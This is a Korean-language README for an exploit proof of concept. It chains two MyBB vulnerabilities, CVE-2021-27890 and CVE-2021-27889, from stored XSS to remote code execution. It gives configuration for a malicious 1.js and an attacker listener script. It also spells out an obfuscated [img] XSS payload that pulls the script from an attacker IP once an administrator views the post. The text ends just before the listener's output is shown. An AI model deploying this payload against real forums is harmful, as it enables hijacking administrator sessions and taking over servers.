Mybb-XSS_SQL_RCE-POC

Mybb 관련 CVE-2021-27890 및 CVE-2021-27889를 RCE poc로 연결합니다.

사용 전:

여기에는 1.js와 attack_listen.py 두 개의 파일이 있습니다.

이 두 파일을 수정해야 합니다:

1.js:

mybb 포럼 URL과 공격 URL을 수정하세요:

var bashurl = 'http://192.168.92.164/mybb/mybb-mybb_1825' #mybb forum url
var attack_url = 'http://192.168.92.165:8080/attack_success' #change the attack machine ip.should keep the same with the attack_listen.py

attack_listen.py

공격 호스트와 공격 포트를 수정하세요:

attack_host = '192.168.92.165'
attack_port = 8080

사용 방법:

CVE-2021-27889는 XSS입니다. 공격을 수행하기 전에 다음 페이로드를 "New Post Thread" 또는 "Reply" 또는 "Private Messages"에 주입해야 합니다. 이 데모에서는 "New Post Thread"에 페이로드를 보냅니다.

참고: 192.168.92.165는 악성 서버 IP입니다. 변경해야 합니다.

[img]http://evil.com/xx(http://evil.com/onerror=xs1=String.fromCharCode(47);xa1=document.createElement(/script/.source);xa1.src=xs1+xs1+/192.168.92.165/.source+xs1+/1.js/.source;document.getElementById(/header/.source).append(xa1);//[/img]

이제 악성 js 1.js가 성공적으로 주입되었습니다. 그런 다음 관리자가 로그인된 관리자 페이지 쿠키로 이 게시물을 열람하기를 기다려야 합니다.

참고: 관리자 사용자가 포럼 페이지에 로그인할 필요는 없습니다.

기다리는 동안 공격 머신에서 "attack_listen.py"를 실행하여 관리자 사용자가 공격받았는지 확인해야 합니다.

python3 attack_listen.py

관리자 사용자가 악성 게시물을 열람하면 악성 js가 공격을 수행합니다:

공격 머신에서 정보를 수신할 수 있습니다: